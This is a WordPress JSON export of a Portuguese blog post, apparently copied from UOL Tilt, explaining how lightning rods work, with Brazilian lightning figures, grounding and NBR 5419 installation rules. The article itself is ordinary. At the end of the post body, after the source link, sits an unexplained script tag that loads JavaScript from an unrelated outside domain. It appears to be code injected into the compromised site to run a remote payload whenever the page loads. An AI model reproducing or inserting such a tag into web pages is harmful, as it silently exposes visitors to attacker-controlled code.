{"id":406,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/entenda-como-funcionam-os-para-raios\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"entenda-como-funcionam-os-para-raios","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/entenda-como-funcionam-os-para-raios\/","title":{"rendered":"entenda como funcionam os para-raios"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Come\u00e7o de ano e, junto com o calor t\u00edpico do ver\u00e3o, temos as tradicionais pancadas de chuva. E, com elas, a quantidade de raios aumenta consideravelmente.<\/p>\n<p>N\u00e3o \u00e9 novidade, mas n\u00e3o custa frisar: o Brasil \u00e9 o pa\u00eds mais atingido por raios no mundo. Segundo o Elat (Grupo de Eletricidade Atmosf\u00e9rica), do Inpe (Instituto Nacional de Pesquisas Espaciais), a m\u00e9dia nacional \u00e9 de cerca de 70 milh\u00f5es de raios todos os anos &#8211; o que tende a aumentar para 100 milh\u00f5es nos pr\u00f3ximos anos devido \u00e0s mudan\u00e7as clim\u00e1ticas.<\/p>\n<p>Neste cen\u00e1rio, um aparato acaba tendo import\u00e2ncia fundamental na hora de proteger constru\u00e7\u00f5es e pessoas da &#8220;ira dos c\u00e9us&#8221;: os para-raios. E \u00e9 quase imposs\u00edvel que voc\u00ea nunca tenha visto um: basta olhar para qualquer pr\u00e9dio ao seu redor e ver que, no topo, h\u00e1 uma esp\u00e9cie de vareta vertical, com ramifica\u00e7\u00f5es nas pontas.<\/p>\n<p>Mas como esses aparelhos funcionam? E como garantir que um raio, de fato, atinja ele e n\u00e3o ao seu redor?<\/p>\n<h2>O que est\u00e1 por tr\u00e1s?<\/h2>\n<p>Os primeiros relatos de uso desse aparato datam do S\u00e9culo XVIII, na Europa e nos Estados Unidos. O princ\u00edpio de funcionamento foi detalhado pela primeira vez em 1753 por Prokop Divi?, um te\u00f3logo e cientista natural tcheco.<\/p>\n<p>A real fun\u00e7\u00e3o do para-raio \u00e9 que, ao ser atingido por uma descarga, a estrutura dissipe a energia do raio. Para isso, ele precisa ser, acima de tudo, atrativo para os raios. Aqui, \u00e9 importante n\u00e3o confundir &#8220;ser atrativo&#8221; com &#8220;atrair&#8221;.<\/p>\n<p>Mas como um para-raio \u00e9 atrativo para as descargas? Isso tem a ver com o fato de que a eletricidade tende a fluir pelo caminho de menor resist\u00eancia. Com os raios n\u00e3o \u00e9 diferente: at\u00e9 chegar ao ch\u00e3o, eles buscam a rota mais f\u00e1cil.<\/p>\n<p>\u00c9 a\u00ed que entram os para-raios: o que vemos do aparato \u00e9 apenas a menor parte de sua estrutura, que \u00e9 a sua haste &#8211; que pode ser feita de cobre, alum\u00ednio, a\u00e7o inoxid\u00e1vel ou a\u00e7o galvanizado.<\/p>\n<p>A partir dessa haste, h\u00e1 uma fia\u00e7\u00e3o que passa dentro do pr\u00e9dio e vai at\u00e9 o solo, onde h\u00e1 uma barra met\u00e1lica enterrada. \u00c9 o popular aterramento &#8211; <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2018\/09\/03\/por-que-existe-a-tomada-de-tres-pinos.htm\">n\u00f3s j\u00e1 falamos sobre isso aqui<\/a>.<\/p>\n<p>Essa configura\u00e7\u00e3o torna toda a estrutura do para-raio uma &#8220;via expressa&#8221; para cargas el\u00e9tricas. Assim, quando um raio vai atingir um ponto pr\u00f3ximo a onde h\u00e1 um para-raio instalado, ele acaba &#8220;optando&#8221; por acertar o para-raios, uma vez que ele \u00e9 o caminho de menor resist\u00eancia para a descarga chegar at\u00e9 o solo. Quando isso ocorre, a energia segue pela fia\u00e7\u00e3o at\u00e9 ser dissipada no solo com seguran\u00e7a.<\/p>\n<h2>D\u00favidas comuns<\/h2>\n<ul>\n<li><strong>Os para-raios s\u00e3o capazes de dissipar toda a energia dos raios?<\/strong><\/li>\n<\/ul>\n<p>Em teoria, sim. Para que isso ocorra, \u00e9 preciso que o para-raio esteja instalado corretamente e tenha o dimensionamento adequado. Afinal, falamos aqui de descargas com tens\u00f5es que podem variar entre 100 milh\u00f5es e 1 bilh\u00e3o de Volts e correntes pr\u00f3ximas de 30 mil Amperes.<\/p>\n<p>Caso ele n\u00e3o esteja dentro das normas, o que pode acontecer \u00e9 que parte da carga acabe escoando para outras ramifica\u00e7\u00f5es e causando danos.<\/p>\n<p>Outro ponto importante \u00e9 que esses equipamentos precisam de manuten\u00e7\u00e3o peri\u00f3dica, de maneira a garantir que ele ofere\u00e7a boa condu\u00e7\u00e3o.<\/p>\n<ul>\n<li><strong>Por que constru\u00e7\u00f5es atingidas por raios s\u00e3o danificadas e isso n\u00e3o ocorre com para-raios?<\/strong><\/li>\n<\/ul>\n<p>Isso tem a ver com a resist\u00eancia do material no qual a energia el\u00e9trica ir\u00e1 fluir. Constru\u00e7\u00f5es, \u00e1rvores e at\u00e9 mesmo pessoas e animais geralmente t\u00eam uma elevada resist\u00eancia. Para que a energia flua por estes corpos, ocorre uma ruptura, geralmente de forma muito violenta pela quantidade de energia envolvida em um raio.<\/p>\n<p>A passagem de eletricidade nesses objetos e corpos acaba provocando aquecimento, gerando queimaduras que podem levar seres vivos \u00e0 morte. J\u00e1 em \u00e1rvores e constru\u00e7\u00f5es, pode haver danos e at\u00e9 inc\u00eandios.<\/p>\n<p>Como o sistema de para-raios \u00e9 feito de condutores que tem menor resist\u00eancia entre o ponto de atra\u00e7\u00e3o dos raios at\u00e9 o solo, h\u00e1 uma tend\u00eancia de fazer com que toda a energia flua para o solo, amenizando ou at\u00e9 anulando seus danos.<\/p>\n<ul>\n<li><strong>Quando \u00e9 preciso instalar um para-raio?<\/strong><\/li>\n<\/ul>\n<p>A instala\u00e7\u00e3o de para-raios segue a norma NBR 5419 da Associa\u00e7\u00e3o Brasileira de Normas T\u00e9cnicas (ABNT). J\u00e1 a necessidade do aparato \u00e9 determinada pelo Corpo de Bombeiros e diz que \u00e9 preciso ter para-raios em:<\/p>\n<p>&#8211; Edifica\u00e7\u00f5es e estabelecimentos industriais ou comerciais com mais de 1500 m\u00b2 de \u00e1rea constru\u00edda;<\/p>\n<p>&#8211; Toda e qualquer edifica\u00e7\u00e3o com mais de 30m (trinta metros) de altura<\/p>\n<p>&#8211; \u00c1reas destinadas a dep\u00f3sitos de explosivos ou inflam\u00e1veis;<\/p>\n<p>Al\u00e9m disso, h\u00e1 casos espec\u00edficos quando a periculosidade justificar.<\/p>\n<p>Tamb\u00e9m \u00e9 recomendada a instala\u00e7\u00e3o nas resid\u00eancias de \u00e1reas rurais, especialmente em regi\u00f5es descampadas.<\/p>\n<ul>\n<li><strong>Quando um raio atinge um para-raio, os habitantes do pr\u00e9dio onde h\u00e1 a instala\u00e7\u00e3o sentem algo?<\/strong><\/li>\n<\/ul>\n<p>Tirando o estrondo t\u00edpico de um trov\u00e3o, n\u00e3o h\u00e1 qualquer dano para os habitantes ou equipamentos eletroeletr\u00f4nicos que estejam dentro de um pr\u00e9dio cujo para-raio foi atingido. Considerando, claro, que ele seja bem dimensionado e esteja com a manuten\u00e7\u00e3o em dia.<\/p>\n<p>\u00c9 uma situa\u00e7\u00e3o bem diferente, portanto, de quando um raio cai na rede el\u00e9trica. A\u00ed sim, h\u00e1 risco real de danos nos aparelhos.<\/p>\n<p><em>Fontes:Michele Rodrigues, professora do Departamento de Engenharia El\u00e9trica da FEI; Marcos Almeida do Amaral, professor do Centro de Ci\u00eancias e Tecnologia (CCT) da Universidade Presbiteriana Mackenzie, Campus Campinas; Massaki de Oliveira Igarashi, professor do Centro de Ci\u00eancias e Tecnologia (CCT) da Universidade Presbiteriana Mackenzie, Campus Campinas.<\/em><\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/04\/21\/entenda-como-funcionam-os-para-raios.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Come\u00e7o de ano e, junto com o calor t\u00edpico do ver\u00e3o, temos as tradicionais pancadas de chuva. E, com elas, a quantidade de raios aumenta consideravelmente. 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